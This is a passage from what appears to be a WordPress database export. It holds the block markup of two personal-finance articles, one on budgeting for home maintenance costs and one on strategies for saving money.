class=\"wp-image-4126\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">It’s important for homeowners to anticipate and plan for home maintenance expenses. Unlike being a&nbsp;renter, when you’re a homeowner, you’re responsible for keeping up with regular maintenance and repairs, and making sure systems are working efficiently.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_3-0\">Being prepared for those expenses—some of which may come up unexpectedly—can help ensure that small problems don’t turn into bigger ones. How much should you expect to pay for home maintenance each year? According to Angi’s annual “State of Home Spending” report, in 2023, the average home maintenance costs were $2,458; emergency costs were another $1,667.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_5-0\">Of course, the age, size, and condition of the home will also play a big role in your home maintenance costs, which is why it’s a smart exercise to look at your individual situation to come up with a budget goal that makes sense for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Homeowners should budget for routine maintenance, repairs, and replacements to ensure the long-term upkeep of their homes.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Factors like the size, location, age, and specific maintenance requirements of a home should be considered when setting a budget.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Different budgeting approaches, such as percentage-based guidelines or fixed dollar amounts, can be used to determine the appropriate budget for home maintenance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Creating a personalized budget involves estimating costs, setting realistic goals, and considering your individual circumstances.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_9-0\">Understanding Home Maintenance Costs</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_10-0\">Home&nbsp;maintenance costs&nbsp;encompass all of the money that you’ll put into your house to keep it functional. This can include routine maintenance like furnace tuneups, gutter cleaning, and landscaping services; repairs on appliances as they age or become damaged; and replacements of major home elements like your roof, windows, HVAC systems, and more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_12-0\">If you have a fairly new home with upgraded materials and appliances, it’s less likely that you’ll face a major expense right away. Older homes, however, may cost more to maintain. Another factor that can impact home maintenance costs is the climate where you live.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_14-0\">“Houses in areas with harsh winters may require more frequent repairs and replacements due to wear and tear caused by the weather,” says&nbsp;Mark Buskuhl, founder and CEO of Ninebird Properties in Dallas, Texas. Along those lines, homes in hot climates may need more maintenance on air conditioning systems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_16-0\">Average Home Maintenance Costs</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_17-0\">According to research by HomeGuide, an online business that connects homeowners with home service professionals, here are some average costs for common home maintenance needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><thead><tr><th colspan=\"2\">Routine Home Expenses</th></tr><tr><th>Type of Expense</th><th>Average Cost</th></tr></thead><tbody><tr><td>Landscaping</td><td>$1,200–$2,400 per year</td></tr><tr><td>Appliance Repairs</td><td>$100–$400 average cost to repair an appliance</td></tr><tr><td>Lawn Care</td><td>$40–$80 hourly rate for yardwork; $30–$85 cost to mow a lawn; $100–$400 monthly cost for full-service lawn care</td></tr><tr><td>Interior Painting</td><td>$1–$3 cost per square foot of surface area; $350–$850 average cost per room; $3,500–$10,000 average cost to paint whole interior of house</td></tr><tr><td>Exterior Painting</td><td>$1–$4 cost per square foot; $1,900–$6,900 average cost for total house painting</td></tr><tr><td>HVAC Repairs</td><td>$75–$150 cost per hour; $70–$200 tuneup/service call</td></tr><tr><td>Roof Shingle Repair</td><td>$350–$1,500 average cost to fix</td></tr><tr><td>Emergency Plumbing</td><td>$120–$300 average cost per hour (nights and weekends); $225–$450+ average cost per hour (holidays)</td></tr><tr><td>Furnace Cleaning</td><td>$70–$100 cost for basic cleaning; $150–$300 cost for advanced cleaning</td></tr></tbody></table><figcaption class=\"wp-element-caption\">Source: HomeGuide</figcaption></figure>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><thead><tr><th colspan=\"2\">Major Home Expenses</th></tr><tr><th>Type of Expense&nbsp;</th><th>Average Cost&nbsp;</th></tr></thead><tbody><tr><td>HVAC Replacement</td><td>$5,000–$11,000 to replace an HVAC system; $7,000–$16,000 to install an HVAC system with ductwork</td></tr><tr><td>Roof Replacement</td><td>$3–$6 per square foot to install; $5,700–$16,000 total to replace</td></tr><tr><td>Window Replacement</td><td>$450–$1,500 per single-hung window installed; $4,500–$22,500 total cost (for 10–15 windows)</td></tr></tbody></table><figcaption class=\"wp-element-caption\">Source: HomeGuide</figcaption></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_23-0\">Different Budgeting Approaches</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_24-0\">There are different schools of thought when it comes to budgeting for home maintenance:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_26-0\">The Percentage Rule</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_27-0\">The most common home maintenance budgeting approach is the 1% rule. It calls for setting aside at least 1% (and as much as 4%) of your home value each year for repairs and replacements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_29-0\">“So if you recently purchased your home for $400,000, be sure to save between $4,000 and $16,000 each year,” says&nbsp;Scott Lieberman, founder of Touchdown Money, which teaches entrepreneurs how to make money online.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_31-0\">“You might feel safe closer to that 1% number if your property is under 10 years old,” he says. “If your property is older, there’s a greater chance of expensive things needing to be replaced, such as the roof or HVAC system.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_33-0\">The Square Footage Rule</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_34-0\">Another approach, though less popular, is the square footage rule—you set aside one dollar for every square foot of your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_36-0\">The reason this rule of thumb isn’t as effective is it doesn’t take into account the value or age of the home, just its size. Aiming for the same savings whether you have a brand-new, 2,000-square-foot home or a 70-year-old home of the same size doesn’t make as much sense as other budgeting approaches.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_38-0\">Set Dollar Amount</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_39-0\">This approach puts more emphasis on how much you’re able to save than on your home maintenance needs. If you’re on a tighter budget, choosing a realistic figure may help you stay consistent with setting money aside.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_41-0\">Are you able to save $200, $400, or $600 a month? Figure out what you can afford and automate that amount into a separate savings account. Even if it doesn’t total up to 1% (or more) for the year, anything you can save can help prevent you from having to borrow to pay for a repair.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_43-0\">Factors to Consider When Setting a Budget</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_44-0\">When deciding how much to set aside, think about the size and location of your home as well as the age of your property. If you have an older home in an expensive city that’s prone to extreme weather, you’ll need to save more than someone in a newly built home with a brand-new structure, systems, and appliances, or who lives in a less expensive location with a moderate climate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Important:</strong> Keep in mind that there are common home maintenance requirements and repairs that are universal to all homes and will need to be done periodically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_48-0\">Here are some general life expectancy guidelines for major home features, according to the International Association of Certified Home Inspectors:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_50-0\"><!-- wp:list-item -->\n<li>Roof: asphalt shingles, 20 years; fiber cement shingles, 25 years; wood shakes, 25 years</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Windows: aluminum, 15 to 20 years; wooden, 30 years</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Paint/caulking: interior and exterior paints can last for 15+ years</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Furnace: 15 to 25 years</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Air conditioning: seven to 15 years (HVAC); five to seven years (window unit)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Tankless water heater: 10 years</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Electric or gas water heater: six to 12 years</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Wood deck: 10 to 30 years</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Appliances: gas ranges, 15 years; dryers and refrigerators, 13 years; dishwashers, nine years; microwave ovens, nine years</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_52-0\">Creating a Personalized Budget</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_53-0\">To create a personalized budget for home maintenance, think through your regular maintenance, the condition of your home, and the potential need for repair or replacement of major items.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol id=\"mntl-sc-block_55-0\"><!-- wp:list-item -->\n<li>Tally up the cost of routine maintenance. This can include landscaping/lawn care, gutter cleaning, HVAC tuneups, and more.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Assess your major appliances, structural elements, and systems and decide if any might need to be repaired or replaced this year. If you can save up and take care of these things proactively, it can prevent potential damage that may be costlier to repair/fix.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider the overall condition of your home. If it’s older, you live in an expensive area, or you know that major home features are approaching the end of their life spans, then bump up your savings goal.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Create a separate savings account for your home costs. “I recommend homeowners keep this home repair money in a&nbsp;high-yield savings account,” says Lieberman. “If you don’t need to use the money, you’ll be earning interest. And you can withdraw the money whenever you need it.”</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_57-0\">Tips for Managing Home Maintenance Expenses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_58-0\">With so many competing financial priorities, it can be challenging to save enough for your home maintenance, but there are some strategies that can help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_60-0\"><!-- wp:list-item -->\n<li><strong>Prioritize repairs that are necessary for the safety and functionality of your home.&nbsp;</strong>Not everything is an emergency, so focus on the repairs you need vs. the ones you want. “Repairing or replacing a roof can cost thousands of dollars, but neglecting to maintain your roof can lead to leaks, water damage, and structural issues, which can significantly increase the repair costs,” Buskuhl says.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Don’t neglect routine maintenance and checkups.</strong>&nbsp;“Get your HVAC system inspected once a year. This way you can catch affordable problems before they morph into expensive emergencies,” Lieberman says. The same goes for checking out your roof, siding, and foundation, and doing seasonal checkups on your gutters, caulking, pipes, and more.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Leverage warranties.</strong>&nbsp;Many appliances, systems, and materials used in homes come with manufacturer warranties, which can cover the cost of repairs or replacements within a certain time frame. “Homeowners should keep track of their warranties and utilize them when needed to save money on maintenance expenses,” Buskuhl says.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Consider home warranties and insurance products.</strong>&nbsp;A&nbsp;home warranty&nbsp;provides coverage for repair or replacement costs of major systems and appliances in the house; you just pay a monthly or annual premium. “This valuable protection can alleviate the financial strain of unforeseen maintenance issues, ensuring peace of mind and financial security,” Buskuhl says. Just be sure to read the terms and conditions carefully so you understand what is covered and what isn’t. If you do add a home warranty, you can include the premium amount in your home maintenance&nbsp;budget.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_62-0\">Alternative Ways to Pay for Home Maintenance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_63-0\">Without ample savings for home maintenance costs, you may have to rely on borrowing to cover major repairs or replacements. Your options include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_65-0\">Home Equity Loans or Home Equity Lines of Credit (HELOCs)</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_66-0\">Both of these options let you borrow against the equity in your home, but they come with a risk. Essentially, your home is your collateral, so be sure that you can afford to pay back any amount you borrow.15&nbsp;There’s also an application process to get through, and you’ll have to meet the lender’s various requirements. That said, you can likely qualify for lower interest rates than you might with other lending options.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_68-0\">Personal Loans</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_69-0\">In general, personal loans are unsecured and allow you to borrow a lump sum and pay it back in fixed payments for a set amount of time. While this can be a decent option, interest rates and fees could make the cost of borrowing expensive, especially if you don’t have top-notch credit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_71-0\">Credit Cards</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_72-0\">This is likely the most costly option in terms of interest rate, but you won’t have to go through an application process as you would for a home equity product or personal loan. For smaller repairs, it can actually make the most sense and be the most convenient option—if you’re able to pay back the debt in a short time frame. If you’re in the market for a new credit card, try opening one with a 0% annual percentage rate (APR) introductory period to give yourself some extra time to pay the bill without interest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is the Average Monthly Maintenance Cost for U.S. Homes?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As per Angi’s annual “State of Home Spending” report, the average home maintenance costs for homes in the United States were $2,458 in 2023.1</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Type of Maintenance Costs Are Included in HOA Fees?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners association (HOA) fees&nbsp;typically only include maintenance costs for the exterior of the home or common areas that are shared by your community. This can include costs for landscaping, snow removal, pest control, and more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is a Home Warranty?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A home warranty is a service contract that covers some or all of the cost of repair and maintenance for items and systems in your home. Most commonly, a home warranty will cover HVAC systems, appliances, electrical, and plumbing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_82-0\">The Bottom Line&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_83-0\">Home maintenance costs often trip up new homeowners who haven’t planned for them. By taking proactive steps to manage your home’s upkeep, and saving up consistently to set aside money for larger repairs should they arise, you can keep home maintenance costs manageable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.investopedia.com/home-maintenance-budget-8608913\">click here.</a></p>\n<!-- /wp:paragraph -->','How Much to Budget for Home Maintenance','','inherit','closed','closed','','4032-revision-v1','','','2024-06-08 00:07:13','2024-06-08 00:07:13','',4032,'https://smartinsurance.tips/?p=4127',0,'revision','',0),(4128,1,'2024-06-08 00:08:00','2024-06-08 00:08:00','','Untitled-2','','inherit','closed','closed','','untitled-2-4','','','2024-06-08 00:08:00','2024-06-08 00:08:00','',4040,'http://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-2.png',0,'attachment','image/png',0),(4129,1,'2024-06-08 00:08:05','2024-06-08 00:08:05','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4128,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-2-1024x1024.png\" alt=\"\" class=\"wp-image-4128\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>To save money, evaluate your expenses and see if there are areas where you can limit spending.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider whether your money is in the right place and review interest-earning bank account options.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you\'re saving for a specific purpose, set practical guidelines for goals.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Whether you\'re beginning to put away money for an emergency fund or ready to save for a&nbsp;<a href=\"https://www.businessinsider.com/personal-finance/how-much-down-payment-for-a-house\"></a>down payment on a house, reviewing your savings habits can be integral to reaching your financial goals.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are several key steps and strategies to use when saving. You need to understand your finances, create a budgeting plan, start reducing spending, build an&nbsp;emergency fund, and practice other smart financial habits. You should also understand what tools are available to you, from investing, budgeting, and banking tools to side hustles and other ways of making additional money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here are six steps and strategies to saving money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"1.-understanding-your-finances\"><strong>1. Understanding your finances</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Assessing your income and expenses</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To start saving money, you first have to look at where your money is going.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Oftentimes, people find it difficult to save because they try to do that after they take care of a lot of spending — after they pay their&nbsp;mortgage, rent, car payment, their groceries, etc. They find that they may have nothing left. I always suggest tracking your spending because that helps you identify money that can be saved,\" says Patrina Dixon, CFEI and founder of&nbsp;It\'$ My Money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Evaluate your spending to see if there are any specific categories where you can make some monthly adjustments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Setting realistic financial goals</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Maybe you want to save for particular&nbsp;savings goals, like a vacation or new car.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To help make your goal more tangible, Scott Stanley, CFP and founder of&nbsp;Pharos Wealth, says you can estimate expenses for your goal and set a timeframe. Then, you can review your budget and see&nbsp;how much you can save each month&nbsp;to make the goal more tangible.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you realize it\'s becoming challenging to save for your goal, consider resetting your expectations by extending your timeline or selecting something with a more practical cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>The role of budgeting in saving money</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Budgeting can help you identify how much money you have to spend, as well as what expenses you should spend that money on. Some expenses will be necessary to cover every month, like rent or utility bills; these are considered&nbsp;essential expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonessential expenses are things you don\'t necessarily need to pay every month and are dependent on your wants, like entertainment and eating out. Your budget will help you determine what nonessential expenses you can afford, and which ones you need to cut back on or get rid of entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"2.-effective-budgeting-strategies\"><strong>2. Effective budgeting strategies</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Creating a monthly budget</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are a few common budgeting tips you can use to structure your spending when you\'re learning&nbsp;how to budget.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One example is the&nbsp;50/30/20 budget rule. In this budgeting strategy, you spend 50% of your income on your necessities, like housing, transportation, and utilities, 30% on nonessentials, and 20% on savings, investments, and debt repayments. This is a flexible rule you can tweak to fit your situation, but it might not work for every circumstance, especially if you live in an area with high cost of living.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another common budgeting strategy is the&nbsp;70/20/10 budget rule. With this strategy, you\'ll spend 70% of your income on essential and nonessential expenses, 20% on savings and investments, and 10% on debt payments or donations. Like the 50/30/20 rule, this is a flexible rule that doesn\'t require you to keep careful track of every expense. If you want to focus on debt repayment, or if donating part of your income each paycheck is important to you, this might be a good strategy for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'ve kept up with a consistent budget, check in on your progress. If something doesn\'t go to plan, you can always modify it. You\'ll also want to make adjustments if you recently&nbsp;received a raise&nbsp;or bonus.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Identifying areas to cut costs</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you\'ve decided on a budgeting strategy, you can identify places you might be overspending.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reducing non-essential expenses doesn\'t necessarily mean you have to eliminate things that bring you joy. Instead, Dixon recommends reducing how frequently you\'re making that particular purchase.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, let\'s say you are a gourmet coffee aficionado. If you buy gourmet coffee from a cafe every day, you could alternatively go once or twice a week and contribute more to your savings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Budgeting tools and apps</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are lots of budgeting tools, such as money saving apps and&nbsp;personal finance software programs, that can help you build your budget. If you don\'t want to use online apps or software, you can always use a notebook to track your expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Using a&nbsp;budgeting app&nbsp;can help you keep track of your expenses without having to do it all manually. Budgeting apps can also help show you areas where you might be overspending. Depending on what app you use, you might also have access to other features, like monthly bill reminders, savings goals planning, and more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you would like to track your progress toward a specific financial goal, you might like a&nbsp;savings account with budgeting tools. Some high-yield savings accounts let you label and track progress for goals. Another option is to open a secondary savings account to track your progress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"3.-reducing-everyday-expenses\"><strong>3. Reducing everyday expenses</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Saving on groceries</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you\'re looking for ways to curb your spending on groceries, Dixon suggests planning out shopping trips beforehand to make you get everything you need all at once. This could also be helpful with saving gas if you would normally make frequent grocery trips or don\'t live near grocery stores.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Cutting utility costs</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are several ways to cut utility costs, although some of them require upfront expenses.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One way to cut utility costs is to bump your heat down a few degrees in the winter, or raise your thermostat by a few degrees in the summer. You can also consider turning your heater or&nbsp;air conditioner&nbsp;off or down at night, if the temperatures in your area permit it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re interested in saving money long-term and don\'t mind spending some money, consider investing in energy-efficient appliances or solar panels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Lowering transportation expenses</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your area offers public transit, using that might be less expensive than paying for the gas you would use to get somewhere — especially if your city\'s public transit system is robust enough to get rid of your car entirely. If your city is bikeable, replacing your car with a bike might provide similar savings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While this option definitely isn\'t possible for everyone, being able to avoid car payments, expensive maintenance fees, and gas costs can save you a lot over time. Using public transit or biking might also help you avoid using ridesharing apps, which can get very expensive over time.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"4.-smart-financial-habits\"><strong>4. Smart financial habits</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>The benefits of an emergency fund</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Having an emergency fund is vital for financial security. If you lose your job or have a&nbsp;surprise medical bill, an emergency fund can keep you from going into debt or having to dip into money you were saving for something else. It can also help ease money-related stress, since you know you have funds to fall back on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You should keep roughly three to six months\' worth of expenses in your emergency fund. You might want to keep more than that saved to budget for healthcare costs or other emergencies if you\'re more likely to run into them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Putting your emergency fund in a&nbsp;high-yield savings account&nbsp;can also help you earn extra money off of your emergency fund.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Prioritizing high-interest debt repayment</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Debt, especially debt with a high interest rate like credit card debt, can build up over time. If you\'re not&nbsp;paying off your debt fast,&nbsp; you could end up just paying the debt\'s interest without touching the principal, or the original money you borrowed. If this happens, you won\'t make any progress towards being debt-free. Make sure to budget enough money for debt repayment to avoid this, and try to pay off debts as fast as you can to avoid paying too much in interest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have several debts, consider prioritizing repaying the ones with the highest interest first. This is a debt repayment strategy called the \"avalanche method,\" and it can help you save money in the long run. You could also use the \"snowball method,\" where you pay off your smallest debts first. Analyze your debts to decide whether&nbsp;the avalanche method or the snowball method&nbsp;is the better choice for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Investing in your future</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It\'s important to start saving for retirement as soon as possible, and investing can be a great way to do that. Contributing regularly to something like a&nbsp;Roth IRA&nbsp;can ensure that you have money to depend on later in life. Not only will you have the money you put into the Roth IRA, but you\'ll also have whatever money you made off of investing, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can also use investing to pay for long-term financial goals, like buying a house. Just be aware that investing comes with risk, and it\'s possible that you\'ll lose money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"5.-making-extra-money\"><strong>5. Making extra money</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Side hustles</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Finding ways to make money outside of your job can help make sure you always have some money coming in. There are several&nbsp;ways to find fast cash, including money-making apps, freelancing, or using gig economy apps.</p>\n<!-- 